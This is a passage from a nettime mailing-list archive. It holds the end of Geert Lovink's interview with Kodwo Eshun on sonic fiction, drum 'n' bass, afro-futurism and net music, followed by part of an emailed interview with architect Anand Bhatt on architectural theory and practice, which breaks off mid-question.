concepts and using them as probes to\nget to somewhere new. Once I had found these aspects I became more conscious\nin applying them to sonic concepts which composers and musicians would\nadopt. Often they would not make programmatic statements. The concepts would\nrather be buried in track titles or within an album cover. You would be able\nto see it, but they would be compressed, abbreviated, and I wanted to\nunstuff them.\n\nOne of the key elements I took from Deleuze and Guattari's \"Mille Plateaux\"\nwas that philosophy should be reconstituted as concept manufacture.\nPhilosophy - Heidegger, Hegel, Merleau Ponty, Lacan - always gave me a\nheadache because it was imponderable. Content manufacture made it more like\nbeing an electrician of thinking, trying to find circuit diagrams of the\npresent. D&G were so brilliant when they said: we can't help it if Proust\ntells us as much how space time works as Einstein does. We can't help it if\nHenry Miller tell us as much about desire works as Freud does. The theory\nfiction border is utterly permutable.\n\nThese ideas came to me in 1994-96, when I met Nick Land, Sadie Plant, and\nher PhD students Mark Fisher, Steve Goodman, Suzanne Livingston at Warwick's\nCybernetic Culture Research Unit. We were all working on the same thing, the\npermeable membrane between certain concepts, embedded in science fiction,\nwanting to radicalize certain aspects of Harraway's Cyborg Manifesto. We got\na particular boost from music. Sonically, drum 'n' bass meant that we left\nthe song far behind. There was new music coming out every week and this\nobliged you to come up with a conceptual apparatus which was totally\npost-human.\n\nWe were fascinated by the way in which rhythm had taken over. In the sixties\nit was the guitarist who was the lead figure. In the seventies it was the\nsynthesist. And in the nineties it was the drummer. If you imagine a sonic\ntriangle, with the singer in front, with guitarist and dummer on each\ncorner. In the nineties the dummer had move to the front, and both the\nsinger and guitarist had gone. It was not even a human drummer. It was the\nevolution of rhythm as information, from the drum kit, to the sampler, to\nthe virtual studio, going from a mechanization to a virtualization  and\ncomplexification of rhythm. This meant that we could break with the tendency\nwithin experimental music, where the further you would get into it, the\nrhythm would drop away, rewritten into ambience and timbre. Listening to\ndrum 'n'bass meant that it would not necessarily be that way. Rather the\nother way: you would go further into hyper rhythm. Once we did that it gave\nus the confidence to use twentieth century sonic concepts, use Stockhausen\nand Cage and reject their conclusion. Drum 'n' bass was using so much\nremixology. Key drum 'n' bass tracks were often remixes of previous tracks.\nAll around us people were so sober, so heavy and moral, which used to\ndepress us. We found that we could use all this material as speculative\nplayground and have an adventure of concepts.\n\nI was really pleased to find an old essay by Sylvere Lothringer which\nexplained how they wanted people to use Semiotexte books for speculative\nacceleration. Instead, people started using these text to prove their moral\nsuperiority, saying \"You are wrong, you have misunderstood Foucault.\" They\nused theory for prestige, to block speculation. That is why so many artists\nused to resent theory. You would get these lame pieces, somebody trying to\napply Heidegger to Parliament-Funkadelic because they had seen the word\n\"ontology\" on a cover, instead of taking Parliament to read Heidegger. They\nalways did it the other way round. Theory wasn't being used to pluralize, to\nsee that there was theory everywhere you looked, and everywhere you\nlistened.\n\nWhen painters paint, they are theorizing immanently in the field of paint.\nSonically, when you compose, you are theorizing tonally. That was a key\nbreakthrough. When I wrote my book it did not have to be historical. It\ncould be a sonology of history, it did not have to be contextualization of\nsound. It could be an audio-social analysis of particular vectors. Sound\ncould  become the generative principle, could be cosmo-genetic, generate its\nown life forms, its own worldview, its own world audition. That's still the\nkey break between my book and most cultural studies analyses. They still\nhave not understood that sonology is generative in and of itself. Like every\nfield is. Every material force can generate its own form.\n\nI was really inspired by the Futurists and Marinetti. For ten years I only\nread critiques of the Futurists, saying they were fascists. In fact, they\nwere the first media theorists of the twentieth century. They were amazed by\nX-rays, by artificial light and lamps, out in the street, by new camera's\nand photography. They just wanted to explore how new technologies broke up\nthe solidity of the organism and involved lines of force. Futurism,\nsupremacism and constructivism were the science-fiction of the first machine\nage. The fantastic adventures of the early modernists, from Tatlin to\nMalevich. Machines, media and art thinking were one and the same. Some\nartists are just extremely good theorists. Still hard to find, this\nmaterial. Go and look for the essays of El Lissitsky. The same counts for\nthe speculative writings of the photographers Robert Smithson and Gordon\nMatta-Clark. I realized that Barthes never had an academic degree. And why\nMcLuhan used to structure his ideas with number or the alphabet, not be\nbored to death by the academic obligation to seriousness.\n\nGL: Speculative acceleration, in my experience, can go two ways. The one is\ngoing further and further into innerspace, exploring the spaces within\nspaces. Opposite to this movement is a speculative thought which wants to go\nout, towards the utopian, the Alien.\n\nKE: The first move towards innerspace is the microscopic analysis. It scales\nright down from the imaginary sound worlds that a record generates in your\nhead towards particular figures within that world. If you talk to people,\nthis is what they are really fascinated by. The sense that all these sonic\nlife forms are crossing from the world of the records into the world of your\nhead. When you put on headphones the functional expansion of your listen\ncapacity your brain grows to the seize of the universe. R Murray Schaefer,\nthe inventor of terms such as soundscape and schizophonics, talks about\nheadphones as a headspace which is not geographical but expansive. Both\nmoves--towards the inside and outside--are endless.\n\nThe drive towards the utopian and the alien works really strongly. I wanted\nto break with the compulsory pessimism at the time. During my cultural\nstudies period I used to work on authors such as Franz Fanon, Edward Said,\nHomi Bhabha. The premis was: because social relations in capitalism are\nbleak this sets the parameters of our thought. I did not see why this was\nthe case. I felt all thought was being hemmed in, and locked, at certain\npoint. It allowed a fatalism, where the more blocked and frustrated the\nthought was, the more there was some strange kind of dignity. There was this\nnobility in pessimism and failure. Then I read D&Gs \"Anti-Oedipus\", and\nFoucault who said: \"Do not think you have to be sad in order to militant.\"\n\nGL: At what point do you think a concept can hit reality and be transformed\ninto material practice? Speculative thought can easily drift away and become\nirrelevant. I find it fascinating,  almost addictive, to see concepts being\nimplemented into software, network architectures, artworks, living\ndiscourses. How do you think it is possible, to get from the level of the\nindividual author, like you and me, onto a level of more complex\norganization, to jump from individual subjectivity to a level where\ndiscourse gets materialized and hardwired, where it gets witten into\nsoftware and networks?\n\nKE: Once I left Warwick University I went abroad, to Vienna in 1996, meeting\nBerlin people, Paul D. Miller in New York, reading Erik Davis from the\nwestcoast, getting in contact with Nomadsland magazine from Paris, I\nrealized that there are several people with a similar structural position,\nwho had left academia, infiltrating pop cultural spaces. They did not\nfootnote their work and refused to contextualize their work. I wasn't alone.\nThere were sectors in every city who were moving along similar tendencies.\n\nGL: We believe that theory can explore unknown land and does not have to\nreduce its task to recite other people's work. It has a certain avant-garde\nposition in it, a sense of anticipation. I do not feel ashamed by this,\ndespite all the criticisms and the fact that the avant-garde has been\ndeclared dead at so many occasions.\n\nKE: I have given up listening to people saying all adventures are over, all\nheroism is done, we are all born too late and have got no options but to sit\naround and recombine the forms of other, greater people than we are. How\nmany years I have heard this? The grand narratives are all done. There is\nnothing left to do. It is always told in our own good fortune. Once I\nstarted meeting Sadie Plant and Nic Land at CCRU I realized\nthis wasn't at all the case. Everything was to be done. All the adventures\nare still there.\nSadie Plant's \"Zeros and Ones\" is a heroic book with a massive scope. It\ncrossed centuries, it generalizes wildly, it is rigorous, but it is also\ngigantic. Sadie rejects all metaphors, nothing is like. Everything is scale,\ncan be on the one hand microscopic, and totally macro as well. Everything\ncan be molecular and molar.\n\nI felt I was on the same side with all these people who have a common enemy\nin the delibidinizers, the boring critics who take a sonic event and drain\nit, for example by reducing the music to the social crowds it attracts. Fat\nBoy Slim thus becomes students' music. Instead we should see a formal\nanalysis as a first stage of  rethinking the social. Phase one was\ncriticizing everything. Phase two was writing, being the hermit. Hiding\naway, refusing the phone calls, the trips, the jobs. Phase three is now,\ntravelling, the network, when you realize that a book will never bring you\nany money. It is all about the communication vectors which a book makes\npossible. My next book will be an afro-futurist anthology with a historical\nsection, with Samuel Buttler (The Book of the Machines) to McLuhan and some\nof the composers. The second part will start with David Toop and Greg Tate\nand will travel through Belgium, Germany and France, Holland, the east- and\nwestcoast. It will show the spread of concepts, the linking of science\nfiction and sound, sonic fiction. Afro-futurism as a transversal tendency\nrunning through popular culture, acting to destabilize what people thought\nblack identity was, what pop identity and culture identity were. There was\nnot only a compulsory pessimism in theory when I started. There was also a\ncompulsory ghetto-centricity of black popular culture. Always this\nhermeneutics of the street.\n\nGL: The identification of, let's say, German kids with gangsta rap has\nproven to be a trap.\n\nKE: We could reject this and travel on totally different vectors. I wanted\nto make what started in Sun Ra as a vector. It was important to destroy the\nprevious, like all avant-garde does and to move forward where black identity\nis intermittent and hazy, often non existent, nullified. This led me towards\nIdentity as intermittent fluctuation, the epiphenomenon of convergent\nprocesses in the body. Identity and consciousness aren't top-down.\nArtificial intelligence always started with modeling the world. Artificial\nlife instead started from local tendencies, like a small muscle, and several\nof them combined together make the intelligence of the leg. Identity only\narrives later, as communication amongst motor systems. In this way you can\nget away for the centralized approach which is only crippling and just leads\nto dead ends. This is where robotics becomes so fascinating. If you see a\nHollywood film from the forties, the only role an Afro-American would have\nis that of an elevator person, the servant. Then read Norbert Wiener from\nthe same period, saying that robots are the precise automatic equivalent of\nslave labor. Then I realized why all these voices in machines are women's\nvoices, because women used to do all these jobs. I really like Sadie Plant's\nparallel of women and machines. The rise of automated systems frees women\nfrom these drugged roles.\n\nGL: Instead of the writer offering some form of compensation, leaning\ntowards a humanist position, and make sense of the world as it self, theory\nshould try to imagine the impossible and transcend from the world of\npossible connections. Do you think this is favorable option?\n\nKE: Ballard said that the writer should access inconceivable alienations.\nPeople do not know what they want until they are presented with it. Nobody\nknows what they desire. There is a machine, but it takes the form of book.\nYou know books are boring. Still, when you open my book it says at the top:\n\"Discontents\". The writer is admitting right upfront his irritation,\nimpatience and restlessness.\n\nGL: I have experienced cycles in speculative thought,  of discovery and\nexcitement, travelling further and further, until you reach a  moment of\nrealization (or not). The concept then dies, fades away, loses its magic,\nand start to feel worn out. In certain cases, speculative thought is being\ndeveloped in complete isolation. It is even likely that these journeys\ntowards the end of theory are undertaken in uncontemporary circumstances. Th\nough the hermit position is not always a voluntarily one. Forms of criticism\nwhich are engaging, searching for new languages and aesthetics, could be a\nway out. In your experience, how are speculation and criticism related?\n\nKE: Everywhere around you, the death of critique becomes visible. But\ncritique and criticism are not the same. In my case I started to connect\nmusic with art and science fiction. Then you start realizing they are\nalready connected and social disciplinary apparatuses are at work to\nseparate them. Once you see that they are connected, the effort stops to\nbridge them. You stop being reactive. It turns around. That's when scale\nbecomes more important than analogy or metaphor. You start thinking how\nacross scale and materials general processes emerge which you can see and\nfollow. That's when cybernetics start to become more important. You want to\nbe specific generalist. At a certain point you want to be maximalist. Think\nof that strange rectangular material in a recent work of the Berlin company\nArt&Com. Or the typographer David Carson with his giant word objects, which\nhas these twisting 3D forms. I also like the hyper architecture of Lars\nSpuybroek with its non-Euclidean geometry. The Guggenheim Museum in Bilbao\nis only a start. In ten years more and more things will use spine vectors.\nThat is why the futurists and constructivists are so useful. They tried to\nextend the immanent processes which their medium suggested to them, which\nwas coined at a moment of extreme mutation. The digital artists I worked\nwith, all try to understand the psycho-geography and what computer networks\nare doing to location, topology and place. Where they are when they are\non-line and what happens when they go off-line.\n\nGL: That's when concepts start to become functionality and are not just\nanymore idea, ideology or fashion.\n\nKE: I started noticing how many neologisms were used in hyper architecture.\nI counted so many of them! All these architects were obliged to introduce\nneologisms, to carve out this space they are working in. William Gibson's\nidea that neologism is the primal act of pop poetics. It is the fist phase\nof concept manufacture, which depends on immanent analysis of the forms of\nthe medium you are in. Since this medium is the process of extreme change,\nthis puts pressure on your language. I love the idea that digitization does\nnot stop at the screen. Concept manufacture on the one hand is an indulgence\nof the intellect, on the other an absolute necessity. Everything is being\ndigitally mutated. And all the descriptions are obliged to change as well.\n\nGL: Let us look a bit closer at the moment where concepts, distracted from\nthe speculative mind are out,  and get transformed due to exposure to the\noutside. Now in my view some for these transformations are successful,\nwhereas others fail. Like what you said during the talk you gave, here in\nV2: men find it more difficult to transform compared to women. Could we say\nthe same about the art of metamorphosis onto higher cyborgian stages? Could\nwe speak of failed transformations and successful attempts to become\ncyborgs?\n\nKE: One is always inside mutation and certain ways of understanding are more\nuseful than others. In the world of music the mutation has now moved in R&B\nand garage. A lot of ideas which were useful in jungle are of no use\nanymore. That is why in the talk I gave here I used terms I would never have\nused two or three years ago: intimacy and love. That is, intimacy inside the\nmachine. Now all the energy in pop culture has moved there. That is the risk\nof the new. I would not say failure. It is more liveliness. Concepts which\ntake the temperature of thought, and those which lag behind processes. New\nmusic demands new immanent analysis. Concepts have to live as much as the\nculture they are accelerating, or complicating. I would not say that have to\nbe in a state of permanent revolution. Not failure or success. It is more\nrates of quickness and intensification. You want concepts to amplify states\nof mind, mood vectors. Opening up a possibility space which music suggests\nbut never explicates.\n\nDance music is so covert. Everything is so buried in the song. If you make\nan interview with musicians they won't tell you anything. They will speak\nabout their personality and keep the sound world totally mysterious. Pop\nmusic is a public secrecy. This is opposite to the world of classical music\nwhere they will tell you everything about the music, its structure, and tell\nyou nothing about themselves.\n\nGL: There are experiments with Internet radio. MP3 suddenly became big.\nThese developments tend to focus on distribution, not on production. How\ncould we imagine networked music? Most musicians, in my view, still work\nunder the conditions of Bach and Mozart. They act like the individual\ngenius, compose a work offline and then dump it online, if they use Internet\nat all. Can we envision a production of music which is situated within\ncomputer networks?\n\nKE: This is all true. Say, you go to an MP3 site and there are between\n3000-8000 tracks, sitting there to be accessed. The question then becomes\nwhich site attracts you, draws you. So far MP3 is only threatening the\nmiddle range apparatus of the music industry. You can now have websites\nwhich act as virtual record labels and virtual studios, an entire strata of\nmusical structures. It has not happened so far that the network is seen as\nthe starting point of music. Even on the Net it is mainly Sony and other big\nrecord companies you hear about. It is only when their bulk starts to become\na problem, and their massiveness turns into a flaw that the micro sites of\npost-media initiatives will start to appear on the radar. So far nobody\nknows they are there, until you are there, with them. What is disappointing\nto me about net.radio is that its sonic artifacts are not more radical than\nthe music generated off-line. That is why I do touch the MP3 topic. Instead\nI would rather focus on something like Earshot (www.deepdisc.com/earshot),\nwhich is simultaneously a search engine and an audio interface, combing the\nsound files the search engine pulls down.\n\nGL: Apart from MP3 databases, there are free radios and webmasters jamming\ntogether and clubs connecting other clubs. What do expect from these online\nevents?\n\nKE: Can you download the parameters of emotion and affect that make a club?\nIt is the sound of music travelling through bodies, the entire affective\nconvergence which makes a club. There was an event I went to in 1996,\nDigital Diaspora, with Scanner in the ICA in London and DJ Spooky at The\nKitchen in New York.\n\nGL: But that's already much too public. The pressure of representation in\nsuch a setting is huge. I think such linkages can only succeed in an\ninformal atmosphere of freedom and relaxation. We have the technology now to\ncut out mediators such as record labels, shops and magazines and get in\ndirect contact with each other, on a global level. Mediation is becoming a\ndistraction, dominated by large, controlled portals which will try to\nmonopolize live events.\n\nKE: You could be right. The failure of linked project so far has been that\nthings happen on a screen and then everybody is watching them. At some stage\nwe will get music that amplifies the sound of the network. Soon we will\nwitness the birth of an immanent Net sound which is produced and distributed\nwithin the networks. I got online only in 1998 and I turned this lateness\ninto my advantage. Old media love the backlash of the Internet which is\nhappening at the moment. Everybody gets caught in this fascination for\nrejection of no more online, back to the street, to drugs and sex. Under the\nradar of this fascination a net-based music culture could come into\nexistence. Both the doom and boom aspect of the Net are over. Once they both\ncollapse you get something else. Still, I feel this the lack because it is\nstill not there yet. Net theorists are hoping too much for something to come\nout of MP3, but nothing is happening. Sonic evolutions happen when people\ngive up on things. It is when you give up on breakbeats, that's when drum 'n\n' bass happens and nobody notices it. Hiphop is dead. That is when you get\nextreme mutations.\n\nGL: As a newcomer, what do you think of Internet criticism and media theory,\nall the work which is done outside of academia?\n\nKE: I like the fluctuating bits, where theory loses its authority,\ndeauthorizes itself and starts to become a babelogue. The Babel moment\nPattie Smith used to talk about. Rigorous polylogues and all mashed, that is\nwhat networked thinking looks like. That's  what the readme! anthology of\nnettime looks like. Crosstown traffic of tones and registers. The next stage\ncould be aphorisms, slogans and instructions. What D&G said: write with\nslogans. The best of Nietzsche has that. They make you feel brave and\nheroic. My book was rewritten eleven times, staying offline, making the text\nmore clear, more compressed. If I would think of an online hypertext\ncontinuation, I would work with margins, extended footnotes, other text\nlevels. On the other side, one of the worst books ever written is\n\"Imagologies\" by Taylor and Saarinen. The level of media theory is so banal,\nyet the design was so high level. I like the slim book of Lars Spuybroek,\nDeep Surface. There is lots more to be done yet. The format of the book can\nbe reconfigured in a much stronger way.\n\nGL: Is there any future for the cultural industries, cultural studies and\npop in the UK under the third way regime of Blair?\n\nEK: The convergence of pop and the Blair administration allowed traditional,\nold media back in. The Dome functions here as an attractor, from Britpop to\ncultural studies. Well known fashion designers certainly play a role it. On\nthe other hand, there is fashion nowadays which operates at a conceptual\nlevel and barely sells anything, such as Vexed Generation from London. For\nthe first time there are fashion theories. I liked the remarks of Bruce\nSterling at the end of \"readme!\" where he says that there will be this\ndemand for new content in the next years to come. The Dome is a wonderful\ncontainer for all these people, walking around from exhibit to exhibit,\nshowing each other how brilliant they are, captivated by their own\nexcellence. They can stay there, casting a shadow over themselves. This\nleaves the rest of us quite free to do everything else. Britpop, Demien\nHirst and Blair, that's what they think the nineties was all about. Not\nSadie Plant. Mutual flattery in the media really works and the Dome is the\nsymbol of this mirror world. It is Debordian spectacle to the max. Some will\nalways carry the Dome around with them. The Berlin Wall came down, but the\nWall was still in people's heads for another decade. You can never knock it\ndown, it is stronger than ever. The Dome will be like that for a certain\nindustry. It is not a visionary exhibition like the 1939 World Expo. There\nwill be no spin-off products. Its only result will be a self-satisfied\ncontainment of culture.\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Tue, 25 Jul 2000 11:15:17 +0200",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200007251217.IAA16466 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0007/msg00112.html",
                "list": "nettime_l",
                "author_name": "geert lovink",
                "subject": "<nettime> Interview with Kodwo Eshun"
            },
            {
                "content-type": "text/plai",
                "from": "brian carroll <human {AT} architexturez.com>",
                "id": "00173",
                "content": "\n\nan interview with Anand Bhatt, Architect\nconducted via e-mail. 18th July, '00.\nsee: a b,-a [2] http://www.ab-a.net/aba_02/\n\n~ * ~\n\nQ. You have been involved in architectural theory for quite some time now,\nhow relevant, do you think, is it in actual architectural practice today? \nAlso how would you compare the situation hereto that in the west? \n\nI should make it clear at the start, that I am not involved in\narchitectural theory. Some of it does creep into the work we do, but it is\nnot architectural theory per se. \n\nI have always been fascinated by architecture's abilities to `double'\nreality. It is a form of representation that is built, almost\nunconsciously, by people as they come together. Architecture is, in my\npersonal jargon, a Fossilic of the doing, a domain of meaning formed\nthrough consensus or otherwise. It embeds information, significances, and\neven knowledges. And as a representation it is a subject of study. \n\nI am quite curious about the point of synthesis that buildings represent: \nthe are shells for a species, the homo sapiens, which is a very delicate\nanimal. Homo sapiens wouldn't survive without buildings, and buildings are\neverywhere, necessitated by almost all spheres of his activity. And at\ntimes there is a sort of self-reflexivity, a self-understanding of this\ndoubling.  A meditation on its Arche: its origins [not always and not\nnecessarily by architects], it's significance, its use-value. There is a\npractical reasoning and Techne [a discourse on technology and technique,\nnot always and not necessarily of the engineering kind] which grows out of\nit. This latter part separates some buildings from other buildings. It is\nthis separation I study and call, provisionally, architecture. \n\nThis representation is quite distinct from the deliberate, or as they\nsometimes call it, `artistic' representation of architecture, mostly done\nby architects and allied professionals for the approval of other\nprofessionals.  The meaning of the representation takes on the form of a\n\"secret\". They have all these architectural theories, these amalgams of\noperational hypotheses and dogmas, barring a few, a representation of\ndominant opinion[s] meant for people \"in the know.\" \n\nThe profession, as it seems to me, has a greater use for history and\ncritique. People are rather passionate about the two. \n\n~ * ~\n\nIt would be very difficult to compare the situation `here' to the\nsituation in the West [and I suppose you mean the English speaking West,\nwith its specific preoccupations]. The dichotomy implied is very\nrestrictive in the way it confines our identities. We always compare\nourselves to the West, and that doesn't really work, because in comparing\nwe alienate ourselves. The urge to compare comes about, in my opinion,\nbecause the west is quite vociferous. They have the money to print all\nthose glossies and buy tickets for all those professors one sees around,\nlecturing. They are quite charismatic: their products are good and look\nexciting, mysterious to us in a way. Their statements are constantly\nrepeated and always slightly differently. Power is constituted through\nthis proliferation of their representations.\n\nThis places real limits on our imagineability. People here are isolated,\nand starving for information and are often taught by western trained\nteachers.  We find western products everywhere we look. This has become\nquite serious with the internet. Western architecture is just two clicks\naway, and one looks at it in isolation, from the safety of one's home, or\na library. So people absorb and then the west creeps into our universe\neven without our having been there. It creeps into our `internalised'\nconversations, into our thoughts as individuals. And then, as we speak,\ninto our discourses. We often enact the occident, with a local sheen. \n\nIt would be nice to see the shape our universe would take if this\ncondition is lifted, or at least, if it became unstable. The\nunder-representation of non-western architecture concerns me. \n\nI have a web-site, and it is quite a useful one in this context. We get a\nnumber of e-mails from people saying \"oh wonderful, finally something that\nshould have been there long ago,\" or \"explain this,\" or \"this is wrong,\"\nor \"what nonsense!\" Some six thousand e-mails went back and forth last\nyear and the few compelling ones came from Latin America, from China and\nAfrica. It is those that really made me think. I have had valuable\ndiscussions with people in Argentina, Chile and Peru, for example, because\nthere is stuff on the web site about freedom and class structures, as they\nhave sustained periods of dictatorship and inequality. Or China, because\nthey were never really colonised and therfore they are quite curious,\nhaving never experienced it, about my efforts [and I really have to\nstruggle at times] to think and breath freely. In Italy and France they\nwondered about media technologies and Americanisation, and the limits it\nplaces on imagineability. \n\nQ. Practice requires a fair amount of articulation that theory very rarely\nprovides; how often do you think theory affects practice? \n\nOne could establish a number of relations between theory and practice, and\nI don't believe that theory should provide for practice, barring a theory\nof practice. Because then theory wouldn't be theory. \n\nLet's take an example, you have to do a lot of theory in order to produce\na car, and in a sense a car only represents a number of issues of\ntheoretical physics [the laws of motion, e.g.] and chemistry [exothermic\nreactions]. In consequence there is a lot of theory involved in a car. But\ntheory doesn't provide for the product, or even the practice which brings\nthat product about. That practice comes from mechanical engineering,\nsafety engineering, quality control and industrial engineering, from\nfinance and so on. And the car doesn't even stand for the theories that\nproduced it, certainly not in popular imagination. It stands for status,\nthe pecuniary, consumption, convenience, style and all that. In other\nwords, there is a big derivation involved. \n\nTheory and practice are on distinct planes, sometimes in parallel. And one\ndoes not draw a direct relation between the two. One has to concentrate on\nthe intermediate, or thresholds by which theory and practice is brought\ntogether, which is \"conceptualising.\" \n\nI am very short tempered when I teach. I have a reputation for that.\nMostly it springs from the fact that students, even practising architects,\ndo not grasp the previous point. They stand in juries and in class and\ntell me what their concept is [or was], which is quite meaningless.\nBecause then they try and force me to imagine that their building stands\nfor a `concept' and some knowledge. That is captioning, same as in\nadvertising. I would rather they tell me what they experienced in\nacquiring the concept, why did they choose [in hindsight] to acquire it,\nhow did they connect knowledge on different planes [e.g., the plane of\npractice and of theory], what they learnt in the process and so forth.\nThese are the intermediate states one would necessarily have to involve,\nand they often don't. They read their theory books as if they were user's\nmanuals, or guidelines. And then it all becomes very difficult and\nuntenable. One doesn't learn anything and so everything that is done\nbecomes trivial. \n\nSo theory doesn't `provide for' articulations. One has to seek\narticulations that spring from theory. One has to find meaningful ways of\napplying it, and one has to choose the right instruments. The fashioning\nof concepts.  Sophistication. There is always, then, the question of\nintention. \n\n~ * ~\n\nBut then there is quite another take on the issue. If you indulge your\nsense of humour. \n\nWhat makes you think that an architect makes buildings? Don't architects\njust theorise buildings? It is the labourers and the contractors who make\nbuildings. All that architects do is to make drawings and specifications: \nwhich are unities of architectural representation. And they make a number\nof propositions in these representations, which are related. And they rely\non facts to make those propositions. The propositions follow from facts.\nAnd they detail these propositions with information which make them\ntenable.  Their drawings `predict' the building which might be there,\nbecause even as they act very sure, they never really know as to what the\nbuilding is going to look like, into what it will grow and become. So the\nconstruction and occupation are really an experiment which validate their\npropositions. \n\nSo we can say, when one designs, one is theorising. Or faking theory. \nSometimes they call it a Design Thesis. \n\nQ. What would you say is your philosophy (or philosophies) behind all that\nyou build? How much of theory do you really practise in your works? \n\nI don't think I have philosophies when I build. How could one Philosophize\nwith a Hammer? Nor could I quantify the amount of theory I practice, that\nwould be absurd. \n\nI just build when I build. It is a moment. It is an experience, and I\nrecord the experience: of dealing with people, of seeing things I had only\nread about, of making choices and much later of understanding those\nchoices. It is the experience of freedom, as close as we could get to it.\nIt is also the experience of truth, in the phenomenal (or\nphenomenological?) sense, of becoming-active, becoming-animal and so on.\nPurification, if you permit the jargon. And one labours over the drawings,\none changes and feels the quickening. \n\nTake the SoC projects on my web site for example. I knew, when I started,\nthat there existed Societies of Control. That they derived from the great\n18th and 19th century systems of confinement. That they had certain\ncharacteristics, e.g., they pretended to be `democratic' by allowing\nindividuals to speak and act freely within narrow margins, much like this\nanonymity-thing on the web. But in reality, they were quite something\nelse.  And then, I was faced with the task of making a building which\nwould represent these societies. \n\nNow, as an architect, I could not tell anybody to change the world, not\nwith an immediate effect at least. All I could do is to work like a\nchronicler:  to see and record the fact of having seen. Be a witness, and\nfind markers [the Piranesian cage, lines of sight] which indicate my\nwitnessing. In other words, actuate the default of middle practices like\narchitecture: there is no pure determination of order here, nor a pure\nexperience. Only play, an interplay. \n\nThe Mapping projects are different. Because one changes in advance the\nmodel we have of reality, and then builds within the changed\ncircumstances. Those projects `change the world' by default. And they are\nespecially powerful since we wrote the new CADD/CAM technologies. \n\nQ. We have a very rich setting here in India for us to evolve our own\ntheory in architecture, yet there is a tendency to peep to the west and\nbase our works on their philosophy. Do you think this is a healthy trend -\na step towards globalisation or will introspection help do better\narchitecture? \n\nSchizophrenia. That is what I think. We have all become that through the\nlast century. It is the effect of de-territorialisation. Look at your\nquestion for example. Our bodies act here, our imaginations seem to\ndialogue with the west. Our options are curtailed, and that makes me very\nangry. Why talk about globalisation alone? That is capitalistic. There is\nalso, in fact always-already, the aspect of internationalisation.\nSpecifically, when it comes to labour. There are molecular revolutions,\neven though governmental [and non-governmental, I would say with some\njustifiable vulgarisation] organisations try and curtail them. The\ncountryside is becoming-active like never before, the Dalits are\nmobilizing as never before. There are new capital flows, there are new\ntechnologies. There is a new self-assertion in parts of South Asia. And\nthere are stories that need be told, but never are.  The left trounced\neverybody in Bengal recently, the Air-Force had women pilots in the combat\nzone at Kargil, a number of our cities are actually improving quite\nrapidly, there is a new accountability in politics and administration and\nall that without globalisation, which is after all a development in\ninternational finance and capitalism. We should be able to think about a\nworld without globalisation, imagine worlds without globalisation. We\nshould start imagining other corporate entities, apart from multinationals\nand companies. The Army has a corporate structure, our cities have\ncorporations. \n\nThat latter part of your question implies some sort of crisis, mostly of\nconfidence, which I don't like. I don't like the assumption that we have\nto specifically contend with a certain variant of capitalism, however\ndominant.  And that we have to contend by introspection, which implies\ncrisis.  Introspection is a good method, it is used effectively in\nSatyagraha. It is a weapon of war. But the present table of contention has\nno urgencies of that sort, we could still comfortably conceptualise around\nit and send it out of harm's way.\n\nAnd what do you mean India? An `Indian' theory will always be a\nschizophrenia, or a wish. It is too vast, too nebulous, too mobile. Can't\nyou see that?\n\nTo produce a pan-Indian theory, you will have to amalgamate the State,\nwhich is of an occidental extraction, and its' patterns don't really match\nthose of its population, not very well. You cannot have a nationalist\napproach to architecture, because then which nation will you talk about?\nYou can't speak of a regional architecture without being a hypocrite,\nbecause you will castigate a fifth of humanity into playing `regional',\nand regional vis-?is what? You cannot have a `Hindu' architectural theory\nfor that will include the pacific rim and the whole of south Asia and will\nstill be offensive from a dalit and a tribal point of view, the similar\nfor `Islamic' theories, or `Buddhist' so secularisation wouldn't work as a\nmethod. The `Gandhian' model and the `Nehruvian' models and the\n`Socialist' model all are rapidly losing their relevance in light of the\nde-classified state archives, here and in the former Soviet Union and\nBritain and elsewhere. \n\nAnd then to what end? Will theory ever be an identity marker? Or a common\nshared truth? A dogma? That would be mystification. Do the Japanese and\nthe Kenyans have different laws of gravity? \n\nQ. Theory often addresses the polemics of context, and context is\ninvariably linked with urban issues. What do you think about the urban\ndesigning perspectives in the country today? \n\nIt really depends on what one means by `context'. The strict meaning would\nbe parts preceding and following the thing under inspection, and in that\nsense a building has an urban `context', because it is definitely a part\nof the city. But then I wouldn't know if there is urban design in India.\nSure, some people talk about both, urban design and context. But I don't\nknow if the two questions can ever be meaningful because all they do is to\ndescribe a certain morphology: specifically, a certain morphology of\nideas. And the two are simplistic constructions, so it is easy to string\nthem into `talk'.  Far too much is made of contexts. \n\nLet's see, `contexts' are constructed almost like sets, they are defined\nby limits first and then there is, as people here take it, a nominal\npositive definitionby identity markers. They are defined firstly by what\nthey are not, and so are primarily limiting. And then everybody takes them\nas identity markers, and define themselves vis-?is what they aren't. That\nis limiting to the point of suffocation. It may be rather useful to define\nidentities in relation to the imaginary, the symbolic and the `real',\nvis-?is what it could be, what it imagines itself to be, by not the\nrelations that exist but by its abilities to bring relations into\nexistence.  By the abilitiy relations have, especially in affirming our\ndesire[s]. By what it lacks, and by the way we are propelled in relation\nto that lack. And the same applies to identity markers, they are often\nrather static. One would prefer dynamic processes as compared to the\nrather fixed system of sets. \n\nThat brings us to `urban' design. But then, what is a South Asian urban?\nDo we have an operational definition of urbanity here? A definition which\nis not of a Hellenic or a Christian extraction? Or not of an ancient Hindu\nor Islamic extraction? I haven't seen one yet. So it is difficult for me\nto say what Urban Design would mean, because I haven't yet seen a\ndefinition of the subject matter. It may exist, because I haven't looked\ntoo hard, so perhaps you should tell me about it. \n\nQ. What would you do that would be different? \n\nNothing. Firstly, because I use entirely different terms when it comes to\nidentity [I don't really like identity grids]. I rather a system of voids,\ncapable of bringing things into existence. I rather like the Cardological\nand the Ordological systems we just experimented with at the School of\nArchitecture, CEPT, with a City-Machine cycle. As Andreas Fluck said it,\n\"it is a meeting point of lines, a luminous junction in the dark expanses\nof space and time\". \n\nAnd second, `context' and `urban design' are terms that do not denote or\nexplain much. They represent ideas with little explanatory value. So to\ndiffer from them would be of little use. If I am forced to, I would\nintegrate them into higher level [by which one means of high explanatory\nvalue] systems of ideas. Like bricks. And then dissolve them, and be done\nwith them, replacing them with better quality bricks, with a greater `load\nbearing capacity'. Thereby coming up with a new construction of ideas, a\nnew `theory' if you please. \n\nQ. Do you think that the state of affairs of our 